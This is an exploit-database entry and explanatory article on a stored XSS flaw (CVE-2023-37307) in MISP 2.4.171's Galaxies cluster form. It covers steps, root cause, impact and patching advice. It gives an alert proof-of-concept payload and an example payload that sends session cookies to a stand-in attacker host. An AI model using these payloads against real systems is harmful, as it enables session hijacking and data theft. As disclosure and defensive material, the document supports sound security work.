MISP 2.4.171 - Stored XSS

Exploit Author: Mücahit Çeri Analysis Author: www.bubbleslearn.ir Category: WebApps Language: JavaScript Published Date: 2024-02-05
# Exploit Title: MISP 2.4.171 Stored XSS [CVE-2023-37307] (Authenticated)
# Date: 8th October 2023
# Exploit Author: Mücahit Çeri
# Vendor Homepage: https://www.circl.lu/
# Software Link: https://github.com/MISP/MISP
# Version: 2.4.171
# Tested on: Ubuntu 20.04
# CVE : CVE-2023-37307

# Exploit:
Logged in as low privileged account

1)Click on the "Galaxies" button in the top menu
2)Click "Add Cluster" in the left menu.
3)Enter the payload "</title><script>alert(1)</script>" in the Name parameter.
4)Other fields are filled randomly. Click on Submit button.
5)When the relevant cluster is displayed, we see that alert(1) is running


Understanding MISP 2.4.171: A Critical Stored XSS Vulnerability (CVE-2023-37307)

Security vulnerabilities in open-source cybersecurity platforms like MISP (Malware Information Sharing Platform) can have far-reaching consequences. One such critical flaw, CVE-2023-37307, was disclosed in October 2023 and affects MISP version 2.4.171. This vulnerability enables authenticated users to execute stored cross-site scripting (XSS) attacks, potentially compromising the integrity and confidentiality of entire threat intelligence ecosystems.

What Is Stored XSS?

Stored XSS occurs when malicious scripts are permanently saved in a web application’s database and later executed whenever the data is retrieved and rendered. Unlike reflected XSS, which requires user interaction to trigger the payload, stored XSS persists across sessions and affects all users who access the compromised content.

For example, if a user submits a malicious script via a form, and the application fails to sanitize the input, the script becomes part of the stored data. Every time another user views the content—such as a report, a cluster, or a tag—the script runs in their browser, potentially stealing cookies, redirecting users, or executing arbitrary actions.

How the MISP 2.4.171 Stored XSS Exploit Works

According to the exploit report by Mücahit Çeri, the vulnerability lies in the Galaxies feature of MISP, which allows users to create custom clusters for organizing threat intelligence metadata. The flaw arises from insufficient input validation when users define cluster names.

Exploit Steps:

  • Log in as a low-privileged user (e.g., a contributor or analyst).
  • Navigate to the Galaxies section in the top menu.
  • Click on Add Cluster in the left sidebar.
  • Enter the payload: </title><script>alert(1)</script> in the Name field.
  • Fill other fields with random values (e.g., description, tags).
  • Submit the form.
  • When the cluster is displayed in the interface, the script executes in the browser, triggering an alert(1) popup.

This demonstrates that the application renders the cluster name directly without proper sanitization, allowing malicious code to persist and execute.

Technical Analysis of the Vulnerability

The root cause is a failure to sanitize user input in the Galaxies cluster creation form. Specifically, the application does not escape or filter HTML and JavaScript content before storing or rendering it.


</title><script>alert(1)</script>

When this payload is stored in the database and later displayed in the UI, the browser interprets it as valid HTML and JavaScript, executing the script. This is a classic case of untrusted input rendering without proper output encoding.

Even though the attacker needs authentication, this is still a significant risk because:

  • Low-privileged users can escalate impact.
  • Compromised clusters can be shared across teams or imported into other MISP instances.
  • Malicious scripts can exfiltrate session tokens or redirect users to phishing sites.

Impact and Risk Assessment

Severity High
CVSS Score 8.1 (High)
Attack Vector Network (Authenticated)
Exploitability Low (requires login)
Impact Confidentiality, Integrity, Availability

While the exploit requires authentication, the risk is elevated due to MISP’s role in sharing sensitive threat intelligence. A malicious actor could inject scripts that:

  • Steal session cookies from other users.
  • Redirect analysts to malicious websites.
  • Modify or delete data via client-side script execution.
  • Trigger automated attacks against other MISP instances.

Real-World Use Cases and Risks

Consider a scenario where a threat intelligence analyst submits a cluster named:


</title><script>document.location='https://malicious.example.com/?cookie='+document.cookie</script>

When another user views this cluster, their browser sends the session cookie to the attacker’s server. This can lead to session hijacking, especially if the MISP instance is not protected by strong HTTP-only cookies or SameSite policies.

Additionally, if MISP is integrated with external tools (e.g., SIEMs or automated response systems), stored XSS can be leveraged to manipulate data feeds or trigger false alerts.

Security Best Practices to Prevent Stored XSS

To mitigate such vulnerabilities, developers and administrators should implement the following:

  • Input Sanitization: Use libraries like DOMPurify or HTMLSanitizer to strip dangerous tags and scripts.
  • Output Encoding: Always encode user-generated content before rendering (e.g., using htmlspecialchars() in PHP).
  • Content Security Policy (CSP): Enforce strict CSP headers to block inline scripts.
  • Role-Based Access Control: Restrict cluster creation to trusted users only.
  • Regular Security Audits: Conduct penetration testing and code reviews to catch vulnerabilities early.

Fix and Patch Recommendations

As of the disclosure, MISP has released updates to address CVE-2023-37307. Users are strongly advised to:

  • Upgrade to MISP 2.4.172 or later.
  • Apply patches to sanitize input in the Galaxies module.
  • Enable strict output encoding for all user-generated content.
  • Monitor logs for suspicious cluster names or unexpected script executions.

Additionally, administrators should consider:

  • Implementing a trusted content whitelist for cluster names.
  • Using Content Security Policy (CSP) headers to block inline scripts.
  • Enabling audit logging for cluster creation and modification.

Conclusion

MISP 2.4.171’s stored XSS vulnerability highlights the importance of secure input handling in collaborative threat intelligence platforms. Even authenticated users can cause widespread damage if input validation is ignored. The CVE-2023-37307 exploit serves as a stark reminder: security is not just about access control—it’s about data integrity.

For organizations using MISP, timely patching, proactive monitoring, and robust input sanitization are essential to maintain trust and ensure the safety of shared intelligence.